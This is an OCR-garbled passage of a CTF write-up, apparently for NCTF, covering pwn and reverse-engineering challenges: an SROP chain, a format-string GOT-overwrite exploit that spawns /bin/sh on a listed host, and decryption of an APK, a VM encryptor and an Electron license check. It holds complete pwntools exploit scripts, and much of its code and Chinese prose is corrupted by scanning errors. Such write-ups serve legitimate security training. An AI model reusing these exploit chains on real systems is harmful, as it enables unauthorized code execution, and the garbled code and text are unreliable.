77  def build_frame(next_rsp, rax, rdi, rsi, rdx, rip):

78 frame = SigreturnFrame()

79 frame.rax = rax

80 frame.rdi = rdi

81 frame.rsi = rsi

82 frame.rdx = rdx

83 frame.rsp = next_rsp

84 frame.rip = rip

85 return bytes(frame)

86

87

88 def build_srop(libc_base, chain_base, path):

89 trigger = libc_base + MOV_EAX_15

20 syscall_ret = libc_base + SYSCALL_RET

91

92 stagel = chain_base

93 stage2 = chain_base + 0x100

94 stage3 = chain_base + 0x200

95 stage4 = chain_base + 0x300

96 data_base = chain_base + 0x400

o7

98 path_addr = data_base

99 buf_addr = data_base + 0x100

100

101 chunkl = flat(

102 p64(trigger),

103 build_frame(stage2, constants.SYS_open, path_addr, 0, 0, syscall_ret),

104 p64 (trigger),

105 build_frame(stage3, constants.SYS_read, 3, buf_addr, 0x100,
syscall_ret),

106 p64 (trigger),

107 build_frame(stage4, constants.SYS_write, 0, buf_addr, 0x100,
syscall_ret),

108 p64(trigger),

109 build_frame(0, constants.SYS_exit, 0, 0, 0, syscall_ret),

110 )

111 assert len(chunkl) == 0x400

112

113 chunk2 = path.ljust(0x100, b"\x00") + b"\x00" * 0x100

114 return chunkl, chunk2

115

116

117 def find_menu_ret(scan, scan_base):



118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164

needle = p64(RET_MENU)
start = 0
while True:
idx = scan.find(needle, start)
if ddx == -1:
break
if didx >= 0x18 and scan[idx - 0x18:idx - 0x10] == p64(WELCOME_STR):
return scan_base + -+dx
start = idx + 1
idx = scan.find(needle)
if didx == -1:
raise RuntimeError("menu_loop return address not found")

return scan_base + 1dx

def run_once(host, port, path):
io = remote(host, port)
jo.recvuntil(PROMPT)

touch(io, SOURCE)

make_softlink(io, WRITE_GOT_LINK, WRITE_GOT, 8)
write_addr = u64(read_file(io, WRITE_GOT_LINK, 8))
libc_base = write_addr - libc.sym["write"]

make_softlink(io, ENVIRON_LINK, libc_base + libc.sym["environ"], 8)
environ_stack = u64(read_file(io, ENVIRON_LINK, 8))

scan_base = environ_stack - 0x40000
make_softlink(io, STACK_SCAN_LINK, scan_base)
scan = read_file(io, STACK_SCAN_LINK, 0x40000)
ret_addr = find_menu_ret(scan, scan_base)

make_softlink(io, ROP_LOW_LINK, ret_addr)
make_softlink(io, ROP_HIGH_LINK, ret_addr + 0x400)

chunkl, chunk2 = build_srop(libc_base, ret_addr, path)
write_file(io, ROP_LOW_LINK, chunkl)
write_file(io, ROP_HIGH_LINK, chunk2)

io.sendline(b"QUIT")

out = jo.recvrepeat(l.5)
io.close()

return out

def looks_good(data):
body = data.replace(b"bye\n", b"").split(b"\x00", 1)[0].strip(b"\r\n")



165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188

189
190
191
192
193
194
195
196
197
198
199

if not body:
return False

if b"flag{" in body.lower () or b'"nctf{" in body.lower():
return True

return any(0x20 <= b < Ox7F for b 1in body)

def main():
if args.PATH:
paths = [args.PATH.encode()]
else:
paths = [
b"/flag",
b"./flag",
b"flag",
b"/home/ctf/flag",
b" /home/pwn/flag",
b"/app/flag",

for path in paths:
log.info(f"trying path: {path.decode(errors="1ignore')}")
out = run_once(HOST, PORT, path + b"\x00")
cleaned = out.replace(b"bye\n", b"").split(b"\x00", 1)
[0].strip(b"\r\n")
if cleaned:
print(cleaned.decode("latinl", errors='"dignore'))
else:
print(out.decode("latinl", errors="1ignore'))
if looks_good(out):
break

if __name__ == "_main__":

main()

RINREMAESIE /flag , ABITEEREM.

EXEE:

(ASEEZS

1

python exploit.py PATH=/flag



F%): nctf{4n_1N73R3571n9_U53_OF_FuNc7lon_P7r}

checkin
SE T EERIPN T

(SN

1 Arch: amd64-64-little
2 RELRO: Partial RELRO

3  Stack: No canary found
4 NX: NX enab'led

5 PIE: No PIE (0x400000)
6  SHSTK: Enab'led

7 IBT: Enabled

8 Stripped: No

HhRSEMIZ: No PIE : EFEEUEFE, main . GOTHEEE, Partial RELRO : GOT
A]E, NX enabled : FEEEHZ E#XHIT shellcode, BXFIRAARTE

BFEZEEEER, main BRFNT:

EGIR

1 puts("Please checkin first");
2 read(0, buf, 0x100);

3 printf(buf);

4 _exit(0);

B WMAWBEREIE printf WEABER; FEEREY, FASMZ printf (buf)
BT AREN T

1. FIARRUFRIRENR _exitegot -> main

IHEFEM “RIT—RFEBE” TR “SXRMITEXEE main”

BRI A& TR libe stk

HEY system Hudk

5. {82% printf@got -> system

6. KX cat /flag 8 /bin/sh , EFXMREABNMAEBRZ printf , ME system
IRIEMIE IS 3]

> W

EGIR

1 main = Ox4011b6



2 _exit@got = Ox404000
3  printfegot= 0x404010
buf Ox404080

ERNiEFEE PIE, XEutFAMANIZIZERZ EE /Y.

[RI2FE printf(buf) ZERAA _exit(0) , UMBIREERE—XHBE—B$—NR
payload H175E, EEMER
MERUFRERBERZELHRIRE: F—RIMES, FTRMER, FZRINREIST, BHEBHIT

H
FibL, S—ERRILER “ERRK .
BEAWHERE:

HEGIR

1 _exit@got -> main

XtF main GEAKFEBNZE _exit , B GOTHIMNELUG, KFEHREINZE main , EFEME
il

(AGEEZS

1 Please checkin first

ZIOIISTER A B B X R EL

KGR

1 def build_chain_payload(target_ptr, valuel6, mid_c=18):
2 parts = []

3 count = 0

4

5 parts.append("%c" * 4)

6 count += 4

-

8 padl = target_ptr - count
9 if padl <= 0:
10 padl += 0x100000000
11 parts.append(f"%{padl}c")
12 count += padl
13 parts.append("%ln")
14
15 parts.append("%c" * mid_c)



16 count += mid_c

17
18 pad2 = (valuelé - (count % Ox10000)) % Ox10000
19 if pad2 == 0:
20 pad2 = 0x10000
21 parts.append(f"%{pad2}c")
22 count += pad2
23 parts.append("%hn")
24
25 return ("".join(parts)).encode()
XN RIER R

1. eRET %c HEERLENSH

I —MEARR %<num>c , 18 “HE2aiHFTE ERKRITEENE
A %ln EXNMEBRE MR LIS RIS IE
. BMGAR R TR
5. A %hn EBEARMUEENK 2 FT
EABNRERIFEILMR 16 (UkBIEEE, Frll %hn AT
F—HBERE:

#.w!v

(ASEEZS

1 *(_exit@got) = main

}

XELFFERFESAN main BYME 16 I

(RS EEZS

1  main = 0x4011b6
2  Tlowl6(main) = Ox1llb6

RTFEFRASHITERMUIX. J&F PIE, FILl _exitegot BHMX-MEfRE, BBILAMZERER

B main o

AP —EE

EGIR

1  exit_got = elf.got["_exit"]
2  main_addr = elf.symbols["main"] & Oxffff
3  payload = build_chain_payload(exit_got, main_addr, mid_c=18)



4  send_stage(io, payload)

5 recv_prompt(io, timeout=8.0)

WITRIE, EFRsEHaL:

(ASEEZS

1 Please checkin first

XL BRI BRI,
BRHENE R, BHMIHAUFFEE libc ik,
XERERNIVAMEA—S %p !

(AGEEZS

1 payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"

I EERRE S 9 MitiRE:

HEGIR

1 Tleak = 1int(line[8], 16)

FEiEfZERE, XMEREXNE]  1ibc_start_call_main REMHE, mEH:

(ASEEES

1 LIBC_START_CALL_MAIN_RET = Ox2A1CA

(ASEEZS

1  Tlibc_base = leak9 - LIBC_START_CALL_MAIN_RET

2 system = libc_base + 1libc.symbols["system"]

X—%2fE, BMFBETIZE system BRI,
IEERE, NRIATEEH:



1 printf@got -> system

B T—rIEFRITprintf(buf), FEFEMFsystem(buf)
FRREBME N cat/flagilr]LAZ shell SiE 1 flag.
B printf@got AR system f&, BR—RHA:

(ASEEES

1 send_stage(io, b'"cat /flag\x00")

BERELERERIT:

(ASEEZS

1 printf(buf);

BLfEEEETHT:
BIR

1 system("cat /flag");

AR [B145

(ASEEZS

1 flag{900d_WOrK_fOR_cH3ckln!_574R7_YOUr_NC7F_p1l33Z}

il {1l
ARIGIR
1 from pwn import *
2  dmport sys
3
4 HOST = "114.66.24.221"
5 PORT = 35546
6 PROMPT = b"Please checkin first\n"
7 STAGE_SIZE = 0x100
8
9 elf = ELF("./pwn")



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

libc

cont

cont

LIBC

def

def

= ELF("./libc.so.6")

ext.log_level = "info"
ext.timeout = 2.0

_START_CALL_MAIN_RET = Ox2A1CA

parse_host_port():

host = HOST
port = PORT
if len(sys.argv) >= 2 and ":" 1in sys.argv[1l]:

hOSt, pOI"t_S = Sys-argv[l]-spl-it(llzll’ l)
port = int(port_s)
return host, port

build_chain_payload(target_ptr, valuel6, mid_c=18):

(]

parts

I}
©)

count

parts.append("%c" * 4)
count += 4

padl = target_ptr - count
if padl <= 0:

padl += 0x100000000
parts.append (f"%{padl}c'")
count += padl
parts.append("%ln")

parts.append("%c" * mid_c)
count += mid_c

pad2 = (valuel6 - (count % Ox10000)) % Ox10000
if pad2 ==
pad2 = 0x10000
parts.append(f"%{pad2}c")
count += pad2

parts.append("%hn")



57 return ("".join(parts)).encode()

58

59

60 def recv_prompt(io, timeout=5.0):

61 return io.recvuntil(PROMPT, timeout=timeout)

62

63

64 def send_stage(io, payload):

65 if len(payload) >= STAGE_SIZE:

66 raise ValueError (f"payload too long: {len(payload)}")
67 jo.send(payload.ljust (STAGE_SIZE, b"\x00'"))

68

69

70  def leak_libc(io):

71 payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
72 send_stage(io, payload)

73 data = recv_prompt(io, timeout=3.0)

74 line = datal[:-len(PROMPT)].split(b".")

75 if len(line) < 9:

76 raise ValueError(f"short leak: {data!r}")
7

78 try:

79 leak = int(line[8], 16)

80 except ValueError as exc:

81 raise ValueError(f"bad leak line: {data!r}") from exc
82

83 return leak

84

85

86 def main():

87 host, port = parse_host_port()

88 io = remote(host, port)

89 recv_prompt(io)

90

91

92 exit_got = elf.got["_exit"]

93 main_addr = elf.symbols["main"] & Oxffff

94 payload = build_chain_payload(exit_got, main_addr, mid_c=18)
95 send_stage(io, payload)

96 recv_prompt(io, timeout=8.0)

97 log.success("_exit@got -> main (loop enabled)")
98

99

100 leak9 = leak_l1ibc(i0)

101 libc_base = leak9 - LIBC_START_CALL_MAIN_RET
102 system = libc_base + libc.symbols["system"]

103 log.info("leak9=0x%x libc_base=0x%x system=0x%x", leak9, libc_base, system)



104

105

106 printf_got = elf.got["printf"]

107 payload = build_chain_payload(printf_got, system & Oxffff, mid_c=0)
108 send_stage(io, payload)

109 recv_prompt(io, timeout=12.0)

110 log.info("printf@got lowl6 => Ox%¥x", system & Oxffff)
111

112 send_stage(io, b'"/bin/sh\x00")

113 jo.interactive()

114

115

116 if __name__ == "__main__":

117 main()

118

flag{900d_WOrK_fOR_cH3ckln!_574R7_YOUr_NCT7F_pl33Z}

Reverse

Hook My Secret
ZEMMERD.apkXfh, EREIRINBEEIT-TEHEERTAEN

B LAE B3 stage, stagelERElocked, RHERIMNERFERR, BElstage2M3NZEHA
i



4:35 B A 4|

Hook My Secret

Three gates. Three reverse paths. Hook the right place and keep moving.

Challenge Brief
Stage 1: locked
Stage 2: waiting
Stage 3: waiting
Attempts: 0

Start Challenge
< Reset Progress )

AE#jadxEE, XENBRZEIFELE, BREZRE T

RET, TEcom/nctf.hookmysecretiX*BH R TaEIXEIRIAVIZLE, PatternActivityfiZ@sE—xH
NERFERLE, SAEStage2fStage3fiRRER



@

& S 2 Om0B Q AO0M <> BO& B &
B &, MainActivity
be
1 package com.nctf.hookmysecret.ui;
b1l 2
c 3 import C.h;
c 4 import MO.a;
5 import Wo.c;
ce 6 import android.content.Intent;
ce 7 import android.content.SharedPreferences;
com 8 import android.os.Bundle;
: : 9 import android.view.View;
google.android.material 10 import android.widget.TextView;
nctf.hookmysecret 11 import com.google.android.material.button.MaterialButton;
nativebridge 12 import com.nctf.hookmysecret.R;
ui 13 import com.nctf.hookmysecret.ui.MainActivity;
. 14 import com.nctf.hookmysecret.ui.PatternActivity;
widget 15  import e.AbstractActivityC@110h;
€, PatternLockView 16
@ MainActivity 17 /* loaded from: classes.dex */
- o 18 public final class MainActiVity extends AbstractActivityCo11eh {
¢, PatternActivity 19
€, Stage2Activity 20 /* renamed from: y, reason: collision with root package name */
¢, StagesActivity 21 public static final /* synthetic */ int 1912y = 0;
P 22
¢, SuccessActivity 23 /* renamed from: x, reason: collision with root package name */
R 24 public h f1913x;
D 25
2 @verride // e.AbstractActivityC0110h, androidx.activity.k, z.f, android.app.Activity
d 27 public final veid onCreate(Bundle bundle) {
Do 28 super.onCreate(bundle);
de 29 setContentView(R.layout.activity main);
e 30 this.f1913x = new h(this);
31 new a(this).getWritableDatabase().close();
e 32 TextView textView = (TextView) findViewById(R.id.stateSummaryText);
E0 33 h hvar = this.f1913x;
o 34 if (hVar == null) {
35 c.g("stateManager”);
Fo 36 throw null;
G 37 3
G 38 textView.setText(hvar.y());
39 final int i2 = 0;
o 0 ((MaterialButton) findViewById(R.id.startButton)).setOnClickListener(new View.OnClickListener(this) { // from class:
H a1 public final /* synthetic */ MainActivity b;
h 42
43 {
He 44 this.b = this;
he 45 }
T 3
. 47 @verride // android.view.View.OnClickListener
: 48 public final void onClick(View view) {
Ie 49 MainActivity mainActivity = this.b;
ie 50 switch (i2) {
; 51 case 0:
X 52 int i3 - MainActivity.f1912y;
] 53 WO.c.e(mainActivity, “this$e");
Jo 54 mainActivity.startActivity(new Intent(mainActivity, (Class<?>) PatternActivity.class));
i 55 return;
[EER: g1gs (U Smali Simple  Fallback Split view

HE S TR & %5

*app-release - jadx-gui

o X

FHHRA 1.5.5!

&— TPatternActivity, XERNNERE0-8HTF, SHNBANFETRIERNESORIFNH, A
[itESHA-256, HMEEMAELLR

Messa

N =T

geDigest messageDigest = MessageDigest.getInstance("SHA-256");

byte[] bytes = bl.h.L(string).toString().getBytes(bl.a.f1342a);
We.c.d(bytes, "getBytes(...)");

byte[] bArrDigest =
Wo.c.d(bArrDigest, "digest(...)");
StringBuilder sb2 =
sb2.append((CharSequence) "");

int i3 = @;

new

messageDigest.digest(bytes);

StringBuilder();

for (byte b : bArrDigest) {

i3++;
if (i3 > 1) {

sb2.append((CharSequence) "");

}

sh2.append((CharSequence) String.format("%@2x", Arrays.copyOf(new Object[]{Byte.value0of(b)}, 1)));

}

sb2.append((CharSequence) "");
String string2 = sb2.toString();
We.c.d(string2, "toString(...)");
boolean zEquals = string2.equals("4a6bc34076c8eef@f9eac59ad30d99bb4f56eceadbBbfab92540fb655ac68013");
TextView textView =
if (zEquals) {

h hVar2 = patternActivity.f1916y;

if (hvar2 == null) {

WO.c.g("stateManager");

throw null;

}

((SharedPreferences) hvar2.b).edit().putBoolean("stagelPassed”, true).apply();

this.b;

textView.setText("Pattern accepted.”);

patternActivity.startActivity(new Intent(patternActivity, (Class<?>) Stage2Activity.class));

patternActivity.finish();

} else {

textView.setText("Pattern incorrect.”);

h hVar3 = patternActivity.f1916y;

if (hvar3 == null) {
Wo.c.g("stateManager™);

throw null;



BEEXMHZED T, HIREK

HEGIR

import hashlib

import itertools

1

2

3

4  target = "4a6bc34076c8eefO@f9eac59ad30d99bb4f56eceadbObfab92540fbh655ac680f3"
5 digits = "012345678"

6

7 for length in range(1l, 10):

8 for perm in dtertools.permutations(digits, length):

9

s = ",". join(perm)
10 if hashlib.sha256(s.encode()) .hexdigest() == target:
11 print(s)
12 raise SystemExit

e,1,2,4,8

SAIEEStage2, RIXBER I Anativer57%, Java BRASZER NI MEELMEREL, ANER
@iisystem.loadLibrary?JEI%iTXTJ‘F_‘Z so. WBEARIERIREIZIEARTE Java, MTE native &

XEXBAETER, BE—TEEBEXidaFsoxXfF

UG JL1GPITUNTALLINENGIIUS — JY3LEMLIVLR.CLIAPICUNTALLLENGIUS Y/
int[] iArrEncryptStage2 = NativeBridge.fl191la.encryptStage2(str);
int[] iArr = K@.a.f457a;
if (iArrEncryptStage2.length == 16) {

int i4 = 0;

while (true) {

if (i4 >= i2) {
zZA = true;

} else if (iArrEncryptStage2[i4] == iArr[i4d]) {
14++;
i2 = 16;

1

Stage2IEIER: LIEBWAFTRSE  2.J8MnativeEMencryptStage2iki#l  3IMREIZANES
;AL 4B E1RTFStage2key

mMiX>Stage2key E Stage3th EfEFH



nvdr. L sLr ),
long jElapsedRealtimeNanos = SystemClock.elapsedRealtimeNanos();
int[] iArrEncryptStage2 = NativeBridge.f191la.encryptStage2(str);
int[] iArr = K@.a.fj457a;
if (iArrEncryptStage2.length == 16) {
int 14 = 0;
while (true) {
if (i4 »= i2) {
ZA = true;
} else if (iArrEncryptStage2[id4] == iArr[id]) {
id++;
i2 = 163

X B E S ALK
{250, 113, 87, 185, 6, 125, 167, 156, 4, 0, 229, 239, 119, 155, 187, 95}

/* loaded from: classes.dex */
public abstract class a !

/* renamed from: a, reason: collision with root package name */
public static final int[] f457a = {250, 113, 87, 185, 6, 125, 167, 156, 4, @, 229, 239, 119, 155, 187, 95};

o

Stage3fVEIEE: 1.2 stage2Key 2.M SQLite onfig.db2Ei%EY stage3_iv 3. A
AES/CBC/PKCS5PaddingMBAAMA 4. FEEZEX L4

MBCELHR, jSaMnziall55Tdr+1Zc7TEKUNm/N4uwrZw1QFPw6DuirfYF)Zg88j6GKLhWINIjAB

f (bytes != null) {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding™);
cipher.init(1, new SecretKeySpec(bytes, "AES"), new IvParameterSpec(bArrDecode));
byte[] bytes2 = string3.getBytes(bl.a.f1342a);
We.c.d(bytes2, “getBytes(...)");
zA = WO.c.a(Baseb4.encodeToString (cipher.doFinal(bytes2), 2), "jSaMnziall55Tdr+IZc7EKUNm/N4uwrZwlQFPw6DuirfYFI1Zg838j6GKLhWFN1JAB");

EXH#Base644migHstage3_iv, HEIEFHF—ILRE=2VerifyVector1234

@Override // android.database.sqlite.SQLiteOpenHelper
public final void onCreate(SQLiteDatabase sQLiteDatabase) throws SQLException {
c.e(sQLiteDatabase, "db");
sQLiteDatabase.execSQL("CREATE TABLE app_cfg (\n k TEXT PRIMARY KEY,\n v TEXT NOT NULL\n)"
a(sQLiteDatabase, "stage3 iv", "VmVyaWZ5VmVjdGOyMTIzNA==");
a(sQLiteDatabase, "theme", "ember");
a(sQLiteDatabase, "version™, "2025.1");
a(sQLiteDatabase, "welcome text", "trace carefully™);



length: 24

Operations Recipe om i Input i

VimVyaWZ5VmVjdGoyMTIzNA==

Search... From Base64 ©n
Favourites * Alphabet
A-Za-20-9+/=

To Base64

Remove non-alphabet chars
From Base64

To Hex

From Hex

To Hexdump
From Hexdump

URL Decode

Regular expression

time: 1ms
Entropy Output ]ir.-gthf 1(;
Fork VerifyVector1234

Magic

Data format
Encryption / Encoding
Public Key

Arithmetic / Logic
Networking
Language

Utils

s (P 2.
937, EFREEZE|Stage2key, #HidaFsoXH, FTEMMEZEMR—/NER

while ( 1)
{
ptr 13 = &v71 + 1;
if ( 1vl7 )
ptr_13 = ptr_12;
input = ptr_13[index];

a0Dm

! output = __ROL1__ (input ~ state ~ (13 * index + 66), 3) + index + 7 * state;

if ( ptr_4 == ptr )
break;

*ptr_4++ = output;

*(&dest + 1) = ptr_4;

- LABEL_56:
v44 = state + input;
v45 = index++ ~ output;
vi7 = (v71 & 1) == 0;

if (((v71 & 1) =80 )
! size_2 = size;
| else
size 2 = v71 »>> 1;
state = v45 + v44;
if ( index »>= size_2 )
{
dest_1 = dest;
goto LABEL_77;

Stage2ftizx

(ASEEZS

1 target = [250,113,87,185,6,125,167,156,4,0,229,239,119,155,187,95]



def rol8(x, n):
x &= Oxff
return ((x << n) | (x > (8 - n))) & Oxff

def ror8(x, n):
x &= Oxff
return ((x >> n) | (x << (8 = n))) & Oxff

O 00 N O U1 M W

10
11 state = 81
12 res = []

13

14  for 1, out 1in (target):

15 tmp = (out - i - 7 * state) & Oxff

16 c = ror8(tmp, 3) A state A ((13 * i + 66) & Oxff)
17 c &= Oxff

18 res.append(c)

19 state = (state + ¢ + (i » out)) & Oxff
20

21 ("bytes:'", res)

22 ("hex ", (res). 0O)

23 ("text ", (res))

24 try:

25 ("utfs ", (res) .decode())

26 except Exception as e:

27 ("decode err:", e)

E3Hkey, k7Xm2Pq9Wv4N8bRt

[1e7, 55, 88, 1e9, 50, 8@, 113, 57, 87, 118, 52, 78, 56, 98, 82, 116]
: 6b37586d325071395776344e38625274

b'k7Xm2Pq9Wv4NSbRt
k7Xm2Pg9WvAN8bRt

5 Stage3fIilAs, ZF|flag

(ASEEZS

1 from base64 import b64decode

2 from Crypto.Cipher import AES

3  from Crypto.Util.Padding import unpad
4

5 CE =

b64decode ("jSaMnziall55Tdr+IZc7EKUNm/N4uwrZwlQFPw6DuirfYFJIZg88j6GKLhWTN1jAB")
cipher = AES.new(b"k7Xm2Pg9Wv4N8bRt", AES.MODE_CBC, b"VerifyVector1234'")
pt = unpad(cipher.decrypt(ct), 16)

O 0 N O

(pt.decode())



a680107e-a49b-43e1-915b-cedd25e7835a

(H LR MAVBHRTE A8 Stage2BE R BEhook, BRXIFMAVIEZE R E|Stage2BkeyFixdStage3thi& /%
T, MET AMAKIBEhookII A= EPatternE, , , , , , (AA—FiEEjadxBZEEIRBR
2%ER) )

VM Ecryptor
AERHE, EemdzT—TF
WithInput Flag: , FE@ERIALLL, %#idHWrong!

D:\ctf\vm_encryptor>vm-encryptor.exe code.bin
Input Flag: 111

Wrong!

0. exeSXEHOH ida, HEmMainkL
ZORIZEREE, REGSTREIEENprogram.bin, IBEIRA—R VM IRELEN, MENIREY
flag, IBMAFFIEREEI VM RFFETEMIE, JBAARRZRESEHMIT code.bin



22 [8] = e;
23 if ( al <= 1)

24 {
25 = __acrt_iob_func(2u);
26 = "usage: vm-encryptor.exe <program.bin>\n";
27 = 38;
LABEL_3:
fwrite( 5 , 1u, );
return 1;
¥
= *( +8)_;

(sub_140001190) (v15);
if ( !(sub_1400011B8)(v15, v7, ) )

=l v B wMmRE ®W O

oW W Wwowow oW oW w D

{
= __acrt_iob_func(2u);
sub_14e802C70( , "failed to load %s\n");
8 return 1;
o }
@ sub_140002CCO("Input Flag: ");
1 = __acrt_iob_func(@);
42 if ( !fgets( , 128, ) )
13 4
44 = 6;
45 = __acrt_iob_func(2u);
16 = "failed to read input\n";
47 = 21;
48 goto LABEL_3;
49}
50 = strecspn( > Ar\n");
51 = 42;
52 if ( < Ox2A )
54  memset( , @, 43);
55  sub_1400215B0(v16, , ):
56 = (vm)(v15) == @;
57 = @;
58 if ( )
59 {
60 = __acrt_iob_func(2u);
61 sub_l4eee2C79( , "vm error: %d\n");
62 return 1;
63 }
64  return 5
65 }

jmp imm32 Tk
jz imm32 iR, A o Migk¥%
jnz imm32 #Ek, {H9F o Misk¥%




push8 imm8 JEA 8 HisrBI%EL

push32 imm32 | JEA 32 {ZSZB%L

loads Pihhlk, i mem[addr] JEf%
load32 Fifhht, i *(uint32_t *)&mem[addr] %
pop HEREFT

store8 FRHhbE. #{EH, 5 1 £
store32 FpHhbE. #EH, 5 4 £
add b+ a

sub b -a

mul b * a

div b/ a

mod b % a

and A

or fefrek

not T B 2

xor AL ak

shl b << a

shr b > a

eq b ==a

eq 5 ex15 i

ne b I=a

1t b <a

gt b>a

le b <= a

ge b >=a

dup p =izl

swap p'at, 3 AT 3
call imm32 JE i Bl HhE k%
ret FR [ HhE#] pe
print # H AT 8 HuhE T ED

8 code.binit VM 1< C4Rfa, AETE 0x0000




MEV) BRQ WAO) #WRL @EAG mEE IREO HOW i)

YhE9C sEm> S8 5 9 BB f

00 00 04 2A 00 00 1E =
00 04 64 10 00 04 38
04 64 10 00 00 9D 10
71 04 00 00 01 00 00
04 DC 10 00 00 FF 04
00 09 00 5F 00 00
00 00 15 02 DB 00
00 00 00 15|02 01
4,02 00 00 00 15 52
04 03 00 00 00 15 02
06 04 04 00 00 15
00 06 04 05 00 00
00 00 06 04 06 00
00 00 00 04 23 00
2B 11 00 00 09 27
06 04 03 0D
00 00 04 00
00 00 09 00
711 00 00 06 15 42
47 11 00 SF
47 11 00 SF
01 6D 01 03
9 00 5F 00 05
9 00 5F 00 92
4 47 11 00 5F
4 47 11 00 5F
04 47 11 00
06 04 33 1 06
11 00 00 11
04 04 00 0A
00 00 06 10 00
04 43 11 04
00 OA 05 04 00
04 43 11 04
00 OA 05 4 1
04 05 00
00 14 10
11 00
04 43
FF 00

0x003C XA jnz ERTEFE Right! iIX2 Wrong!  FRLLERITEHRY call 0x0471 %2 flaghkiu ik £k

1. sub_4f(0x1000, 0x102b, 0x2a)
AR 42 FT—RES, 52/0x102b

2. sub_368(0x102b, 0x1064, 0x38)
BERL 56 713, 5% 0x1064

3. sub_471(0x1064, 0x109d, 0x38)
MEBEXH 56 FHELIR

4. EZFENEH Right!, ZMiEHE Wrong!

ESIR

0000: push32 0x1000
0005: push32 0x102b
000a: push32 0x2a
000f: call ox4f

0014: push32 0x102b
0019: push32 0x1064
00le: push32 0x38
S 0023: call 0Ox368

o N o b~ W N

11 0028: push32 0x1064
12 002d: push32 0x109d
13 0032: push32 0x38
14  0037: call 0x471
15

16 003c: jz 0x48



17  0041: push32 0x10d5
18 0046: print
19 0048: push32 0x10dc
20  004d: print

sub_368: ZFFT Rk 0x63

RIGIR

1  void sub_368(uint8_t #*src, uint8_t xdst, uint32_t len) {
2 for (Uint32_t i = 0; i < len; i++) {
3 dst[i] = src[i] " Ox63;

4 +

S

ARG ER

1 loc_0426:

2

3  0426: push 0x1127

4 042B: 1dd

5 042C: push 0x1133

6 0431: 1dd

7 0432: add

8 0433: 1ldb

9 0434: push 0x0063

10 0439: xor
11  043A: push 0x112B
12 043F: 1dd
13  0440: push 0x1133
14 0445: 1ldd
15 0446: add
16 0447: stb

sub_471: LbEEER

RIGIR

1 1dnt sub_471(uint8_t *a, uint8_t *b, uint32_t len) {
2 for (Uint32_t i = 0; i < len; i++) {

3 if (ali] != b[il) {

4 return 0;

S }

6 }

7 return 1;



(ASEEZS

loc_0551:

1

2

3  0551: push 0x1127
4 0556: ldd

5 0557: push 0x1133
6 055C: ldd

7 055D: add

8 O55E: 1db

9 O55F: push 0x112B

10 0564: 1ldd

11 0565: push 0x1133

12 056A: ldd

13 056B: add

14 056C: 1ldb

15 056D: eq

16 056E: jnz loc_0583

PRUEIERBARRLZ 1L .

EIIR

1 sub_368(sub_4f(input)) == const[0x109d:0x109d+56]

sub_4f: BEX base64 4wt
MO10editorEE gEE Flbaseb4table@infER

WRIEFTRED =H: WFE3INFH

LBtAY 24 (%K

2. M=% 24 (IfERBAL (5, 11, 20) +FHFE 0x55757d
3.¥% base64 F 1AL HEL

HADIR

1 uint32_t rol24(uint32_t x, int n) {

2 x &= Oxffffff;

3 return ((x << n) | (x > (24 - n))) & Oxffffff;
4 1}
5

6

void sub_4f(uint8_t *src, uint8_t *dst, uint32_t len) {



7 static const char tbl[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

10 uint32_t groups = len / 3;

11 for (uint32_t i = 0; i < groups; it++) {

12 uint32_t v =

13 (src[i * 3 + 0] << 16) |

14 (src[i * 3 + 1] << 8) |

15 (src[i x 3 + 2] << 0);

16

17 v = rol24(v, 5) " Ox55757d;

18 v = rol24(v, 11) A 0x55757d;

19 v = rol24(v, 20) » Ox55757d;

20

21 dst[i * 4 + 0] = tbl[(v >> 18) & 0x3f];
22 dst[i * 4 + 1] = tbl[(v >> 12) & 0x3f];
23 dst[i * 4 + 2] = tbl[(v >> 6) & Ox3f];
24 dst[i * 4 + 3] = tbl[(v >> 0) & 0x3f];
25 }

26}

SREEER, SHA—IEKEEflag

HADIR

from pathlib dimport Path

code = Path("vm_encryptor\code.bin").read_bytes()

enc = bytes(x » O0x63 for x 1in const)
alpha = code[0x10e3:0x10e3 + 64]

1

2

3

4

5 const = code[0x109d:0x109d + 56]

6

7

8 inv = {c: i for i, c in enumerate(alpha)}
9

10

11  def ror24(x, n):

L2 x &= Oxffffff

13 return ((x > n) | (x << (24 - n))) & Oxffffff
14

15

16 out = bytearray()

17

18 for i in range(®, len(enc), 4):

19 cO, cl, c2, c3 = enc[i:i + 4]

20 v = (inv[cO] << 18) | (inv[cl] << 12) | (inv[c2] << 6) | 1inv[c3]

21



22 v A= 0x55757d

23 v = ror24(v, 20)

24 v A= Ox55757d

25 v = ror24(v, 11)

26 v A= 0x55757d

27 v = ror24(v, 5)

28

29 out += bytes([(v >> 16) & Oxff, (v >> 8) & Oxff, v & Oxff])
30

31 print(out.decode())

NCTF{1578bel5-ad@9-4859-9193-5d52585eb485}

Pay For 2048
Ii— TN, TEE 256898 & E H licensefai ANIE, AEZENCTF-XXXX-XXXX-XXXX

ETRRENS, KMEEMNXEFBEREN, MURJL N0 LICENSE.electron.txt & X Eelectron
WmE, AT AfMEEapp.asar

HNBEBER, F—T.jsonX, main.jsfEsrc

"name”: "my-electron-app”,
"version™: "1.0.0",

"description™ "",
"license™: "ISC",

"author™: "",

"type"”: "commonjs”,

"'main”; "sr¢/main.js”

FB/Emainjs, BE@EHTARS

BE&—Tgame-controller.js, RE18 key/score/steps/maxTile/board/sessionToken T E45
verify_license # unlock_flag

HIFZiEEwsam, FIBwasm2watT BEr A wasm TR A& AT wat>X 4
BRActr+2E (export, &Hunlock_flag # verify_licenseiX ™KK



"memory" (memory @))

alloc” (func $alloc))

"free" (func $free))
unlock_flag" (Turr $unlock _flag))

Terify license vify ticens)

"__data_end" (
__heap_base" (global 2))
;) (i32.const 1) func $_ZN44 $LT$$RFITSu20%astu20$core. .fmt..Display$GT$3fmti7h4lddac272

